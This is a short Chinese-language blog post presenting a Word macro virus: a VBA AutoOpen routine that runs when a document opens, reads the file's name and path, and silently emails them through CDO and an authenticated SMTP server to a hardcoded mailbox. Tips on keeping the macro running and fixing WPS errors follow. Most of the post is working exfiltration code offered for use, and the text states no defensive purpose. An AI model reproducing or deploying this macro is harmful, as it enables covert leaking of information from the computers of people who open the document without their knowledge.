word宏病毒通過郵件獲取路徑和文件名

簡介

利用word VB編程實現一個腳本,設置爲文檔打開時運行,然後利用CDO發送電子郵件將文件的路徑和名字發送到指定郵箱中。

思路

  1. 建立wps或者wordVB開發環境,需要下載插件,可以搜索如何開啓宏功能
  2. 測試VB(利用AutoOpen執行打開文檔時運行)
  3. 利用WordObj.ActiveDocument獲取文件信息
  4. 利用電子郵件實現信息傳遞,這裏我使用的是CDO實現電子郵件發送

源代碼

Sub AutoOpen()
Dim WordObj As Object
Dim Doc As Object
Set WordObj = GetObject(, "Word.Application")
Set Doc = WordObj.ActiveDocument
'MsgBox (Doc.Path)

Const from = "123123@qq.com"
Const to_ = "99999999@163.com"
Const password = "XXXXXXXXXXX"

Set CDO = CreateObject("CDO.Message")
CDO.from = from
CDO.to = to_
CDO.Subject = Doc.Name
CDO.Textbody = Doc.Path

Const proxyUrl= "http://schemas.microsoft.com/cdo/configuration/"
With CDO.Configuration.Fields
.Item(proxyUrl& "sendusing") = 2
.Item(proxyUrl& "smtpserver") = "smtp.XX.com"
.Item(proxyUrl& "smtpserverport") = 465
.Item(proxyUrl& "smtpauthenticate") = 1      '是否開啓用戶名密碼驗證
.Item(proxyUrl& "sendusername") = "1231233"
.Item(proxyUrl& "sendpassword") = password
.Item(proxyUrl& "smtpusessl") = True         '是否使用ssl協議
.Item(proxyUrl& "smtpconnectiontimeout") = 60
.Update
End With
CDO.Send
Set CDO = Nothing
'MsgBox("done")
End Sub

重點和難點

  1. wps報429 ActiveX不能創建對象 ,解決:https://www.cnblogs.com/pyman/p/7918484.html
  2. 獲取文件信息的時候,有很多方法,但是不是每種方法都可以,我認爲存在版本問題。
  3. CDO發送郵件的時候需要開啓郵件的stmp授權代理,另外有的郵件需要設置授權碼而不是密碼。
  4. 腳本需要設置爲“thisDocument”,否則很容易不運行。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章